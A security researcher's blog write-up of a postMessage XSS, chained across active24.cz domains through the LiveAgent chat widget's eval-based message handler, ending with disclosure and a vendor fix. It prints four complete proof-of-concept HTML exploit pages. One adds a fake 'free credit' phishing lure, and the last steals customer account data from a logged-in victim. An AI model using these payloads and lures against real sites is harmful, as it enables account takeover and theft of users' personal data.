Chaining postMessage XSS on active24.cz

I manage a few websites and domains with the hosting provider active24.cz, one time I decided to take a closer look at their security.

After a while of fiddling around I noticed a bunch of postMessages flowing between support.active24.cz and active24.cz origins every time the page was loaded, it was the live support chat system they were using. The main page was iframing https://support.active24.cz/scripts/generateWidget.php and then included a script to communicate with it, handing over information like user ID, if the user is logged in etc. and receiving events like if the chat is opened, active or so.

The messages had a strange format of LA_POSTMESSAGEsetParam(xxx) that immediately made me suspicious and I decided to look for the code handling the messages, this code was identical both on support.active24.cz and active24.cz:

It, of course, evaled the messages
It, of course, evaled the messages

So it strips the LA_POSTMESSAGE part and then calls the method specified in the message on the instance object. There seems to be some kind of origin verification though, so it won’t be that easy. Or will be? I set breakpoints in the receiving code on both sides of the conversation and refreshed the page. What matters is the urlWhiteList array, it either has to be empty or contain some unsafe origin we can take control of.

On the active24.cz it looked okay
On the active24.cz origin it looked okay

On the active24.cz origin it seemed alright, it only evaled the message if it was coming from the support.active24.cz origin.

On support.active24.cz on the other hand…
On support.active24.cz on the other hand...

On support.active24.cz however it was empty. Well, there’s your problem. We can send messages to support.active24.cz from whereever we want and it will happily eval it for us. Moreover since this page is supposed to be iframed, it lacks X-Frame-Options. So lets craft a simple PoC:

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <title>Epic pwn #1</title>
  </head>
  <body>
    <center>
      <iframe style="border: none; padding: 0; margin: 0; display: none;" name="frame" src="https://support.active24.cz/scripts/generateWidget.php?v=5.22.25.8&"></iframe>
    </center>
    <script>
      window.addEventListener('DOMContentLoaded', (event) => {
        setTimeout(()=>{
          frame.postMessage("LA_POSTMESSAGEhasOwnProperty();alert(document.domain)","*");
        }, 1000)
      })
    </script>
  </body>
</html>

And it worked! An alert popped up. But how? The message handler stripped the LA_POSTMESSAGE and evaled: instance.hasOwnProperty();alert(document.domain). hasOwnProperty() is just some random method on the object prototype and it’s there just to avoid any syntax errors. And then our alert is executed.

Going after impact

So at this point, I had XSS on support.active24.cz, I could have ended it there, report it and go on with my day, but I had some homework to procrastinate and a way how to take this further in my head, so here we go!

Since active24.cz trusts support.active24.cz, an origin that we now control and uses the same code, we have automatically XSS on the main domain as well. But since it has X-Frame-Options set to SAMEORIGIN, we can’t just iframe it like we did with the subdomain. So we will have to open it in a popup window to get a reference to it’s window object. Shouldn’t be that hard, I came up with this:

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <title>Epic pwn #2</title>
  </head>
  <body>
    <center>
      <iframe style="border: none; padding: 0; margin: 0; display: none;" name="frame" src="https://support.active24.cz/scripts/generateWidget.php?v=5.22.25.8"></iframe>
    </center>
    <script>
      window.addEventListener('DOMContentLoaded', (event) => {
        setTimeout(()=>{
          /*
          Explanation:
          // this script gets sent via postMessage and is evaled on the support.active24.cz origin
          LA_POSTMESSAGEhasOwnProperty(); // just to avoid any syntax errors, some random method on the "w" object
          document.write(\" // we will overwrite the original content of the active24 page
            <button style=\\\"height: 100%;width: 100%\\\" // we will need user interaction to avoid popup block (we need a popup active24 doesn't allow iframing), so this is just a simple button with some styles
            onclick=\\\"
              var a24 = window.open('https://active24.cz'); // open active24.cz in new window
              setTimeout(()=>{  // wait for the page to load
                a24.postMessage(' // send message to the a24 window, we are on the support.active24.cz trusted origin, so it gets past the origin check
                  LA_POSTMESSAGEhasOwnProperty(); // again, just avoiding syntax errors
                  alert(document.domain); // alert the domain name as the proof of pwn!
                ','*')
              }, 1000)
            \\\">
              PWN ME!!1
            </button>
          \")
          */
          frame.postMessage("LA_POSTMESSAGEhasOwnProperty();document.write(\"<button style=\\\"height: 100%;width: 100%\\\" onclick=\\\"var a24 = window.open('https://active24.cz');setTimeout(()=>{a24.postMessage('LA_POSTMESSAGEhasOwnProperty();alert(document.domain);','*')}, 1000)\\\">PWN ME!!1</button>\")","*");
          document.querySelector("iframe").style.display = "block";
        }, 1000)
      })
    </script>
  </body>
</html>

As described in the comment, we load support.active24.cz in a hidden iframe, we then rewrite its body with one large button that when clicked opens active24.cz in a new window, we display the iframe, when user clicks the button, we open the popup, wait a second for the message listener to start listening and send our payload to it. And an alert pops up on the active24.cz domain!

That’s cool and all, but it looked like all the juicy PII was located on a different domain, on customer.active24.com, luckily for us, there was the same vulnerable code AND support.active24.cz listed us trusted origin. There was one problem however, the vulnerable code listening to postMessages isn’t loaded there, until the user clicks the Chat button. This is a bummer since it makes this 2-click XSS, but it will work anyway.

I looked for a way to bypass this, for example using service workers. If we managed to register a service worker on the support.active24.cz origin, we would need the user to click on the Chat button eventually, after a week, month or so. We would just register the service worker and wait. There is this feature that lets you upload files to the chat, so we would just need to navigator.serviceWorker.register('https://support.active24.cz/scripts/file.php?view=Y&file=theuploadedfile'). Unfortunately (or fortunately?) the file upload serves the files as downloads (using the Content-Disposition header) and that doesn’t obey the very strict service worker Content-Type rules. So no luck there.

But we can leverage the most powerful vulnerability of all - the human - and use social engineering to get the user to click the Chat button:

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <title>Epic pwn #3</title>
  </head>
  <body>
    <center>
      <h1>active24.cz free credits!!!</h1>
      <ol>
        <li>click on the button bellow</li>
        <li>login with your active24 account (if you need to)</li>
        <li>click on the chat button<br>
          <img src="./tutor.png">
        </li>
        <li>paste the code <code>DEADBEEF111</code> to the chat field</li> <!-- there is no point of actually doing this, it's just to make the thing look more believable ;) -->
        <li>get 50€ free credit!!!</li>
      </ol>
      <iframe style="border: none; padding: 0; margin: 0; display: none;" name="frame" src="https://support.active24.cz/scripts/generateWidget.php?v=5.22.25.8"></iframe>
    </center>
    <script>
      window.addEventListener('DOMContentLoaded', (event) => {
        setTimeout(()=>{
          /*
          Explanation:
          // this script gets sent via postMessage and is evaled on the support.active24.cz origin
          LA_POSTMESSAGEhasOwnProperty(); // just to avoid any syntax errors, some random method on the "w" object
          document.write(\" // we will overwrite the original content of the active24 page
            <button style=\\\"height: 100%;width: 100%\\\"  // we will need user interaction to avoid popup block (we need a popup active24 doesn't allow iframing), so this is just a simple button with some styles
              onclick=\\\"
                var a24 = window.open('https://customer.active24.com'); // open active24.com in new window
                setInterval(()=>{ // send the XSS trigger every 5 seconds (it will trigger, when the user will click the Chat button)
                  a24.postMessage(' // send message to the a24 window, we are on the support.active24.cz trusted origin, so it gets past the origin check
                    LA_POSTMESSAGEhasOwnProperty(); // again, just avoiding syntax errors
                    alert(document.domain); // alert the domain name as the proof of pwn!
                  ','*')
                }, 5000)
            \\\">
              PWN ME!!1
            </button>
          \")
          */
          frame.postMessage("LA_POSTMESSAGEhasOwnProperty();document.write(\"<button style=\\\"height: 100%;width: 100%\\\" onclick=\\\"var a24 = window.open('https://customer.active24.com');setInterval(()=>{a24.postMessage('LA_POSTMESSAGEhasOwnProperty();alert(document.domain);','*')}, 5000)\\\">PWN ME!!1</button>\")","*");
          document.querySelector("iframe").style.display = "block"; // button loaded, so let's display the button
        }, 1000)
      })
    </script>
  </body>
</html>

This is basically the same as before, with the difference that this time we are sending the payload every 5 seconds, waiting for the user to click the Chat button.

As an exercise and to prove we can do whatever we want let’s fetch some info about the user from the API and send it back to our page:

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <title>Epic pwn #4</title>
  </head>
  <body>
    <center>
      <h1>active24.cz free credits!!!</h1>
      <ol>
        <li>click on the button bellow</li>
        <li>login with your active24 account (if you need to)</li>
        <li>click on the chat button<br>
          <img src="./tutor.png">
        </li>
        <li>paste the code <code>DEADBEEF111</code> to the chat field</li> <!-- there is no point of actually having this here, it's just to make the thing look more believable ;) -->
        <li>get 50€ free credit!!!</li>
      </ol>
      <iframe style="border: none; padding: 0; margin: 0; display: none;" name="frame" src="https://support.active24.cz/scripts/generateWidget.php?v=5.22.25.8"></iframe>
    </center>
    <script>
      window.addEventListener('DOMContentLoaded', (event) => {
        setTimeout(()=>{
          /*
          Explanation:
          // this script gets sent via postMessage and is evaled on the support.active24.cz origin
          LA_POSTMESSAGEhasOwnProperty(); // just to avoid any syntax errors, some random method on the "w" object
          document.write(\" // we will overwrite the original content of the active24 page
            <button style=\\\"height: 100%;width: 100%\\\"  // we will need user interaction to avoid popup block (we need a popup active24 doesn't allow iframing), so this is just a simple button with some styles
              onclick=\\\"
                var a24 = window.open('https://customer.active24.com'); // open active24.com in new window
                setInterval(()=>{ // send the XSS trigger every 5 seconds (it will trigger, when the user will click the Chat button)
                  a24.postMessage('  // send message to the a24 window, we are on the support.active24.cz trusted origin, so it gets past the origin check
                    LA_POSTMESSAGEhasOwnProperty(); // again, just avoiding syntax errors
                    fetch(\\\\\'https://customer.active24.com/customercenter-ws/user/info\\\\\')  // fetch the user data, we are authenticated as we are on the customer.active24.com origin, the right cookies get sent automatically
                    .then(response => response.json())  // convert the json to javascript object
                    .then(data => opener.postMessage(data,\\\\\'*\\\\\'));  // send this javascript object back to the opener (support.active24.cz)
                  ','*')
                }, 5000)
            \\\">
              PWN ME!!1
            </button>
          \");
          window.addEventListener('message', (event) => { // just a simple origin-validating postmessage proxy
            console.log(\"rec\"); // log that we recieved something
            if (event.origin !== \"https://customer.active24.com\"){return};  // check if the origin matches (we don't want to make the same mistake as the website itself :D)
            parent.postMessage(event.data, \"*\") // resend the data to the parent website
          })
          */
          frame.postMessage("LA_POSTMESSAGEhasOwnProperty();document.write(\"<button style=\\\"height: 100%;width: 100%\\\" onclick=\\\"var a24 = window.open('https://customer.active24.com');setInterval(()=>{a24.postMessage('LA_POSTMESSAGEhasOwnProperty();fetch(\\\\\'https://customer.active24.com/customercenter-ws/user/info\\\\\').then(response => response.json()).then(data => opener.postMessage(data,\\\\\'*\\\\\'));','*')}, 5000)\\\">PWN ME!!1</button>\");window.addEventListener('message', (event) => {console.log(\"rec\");if (event.origin !== \"https://customer.active24.com\"){return};parent.postMessage(event.data, \"*\")})","*");
          document.querySelector("iframe").style.display = "block"; // button loaded, so let's display the button
        }, 1000)
      })

      window.addEventListener('message', (event) => {
        console.log("rec1")
        if (event.origin !== "https://support.active24.cz")
          return;
        let newp = document.createElement('p');
        newp.innerText = "Customers data: " + JSON.stringify(event.data)
        document.body.appendChild(newp)
      })
    </script>
  </body>
</html>

This is simply going to fetch the data from the API and then send it via postMessage back to us. We just need to make a simple postMessage proxy on support origin. And boom! We get the JSON with user data printed on the page every 5 seconds.

Report

This was fun! I reported the issue to active24 and it turned out it was an issue in the chat platform, LiveAgent, itself, affecting probably all sites that were using this chat system. Which is… scary? Active24 forwarded the report to them and after a few weeks, the problem was fixed. They now have a predefined set of messages and they don’t eval anything. They are also very strict when validating the data, so Prototype Pollution doesn’t seem possible as well. Well played!

Tags:

Latest Posts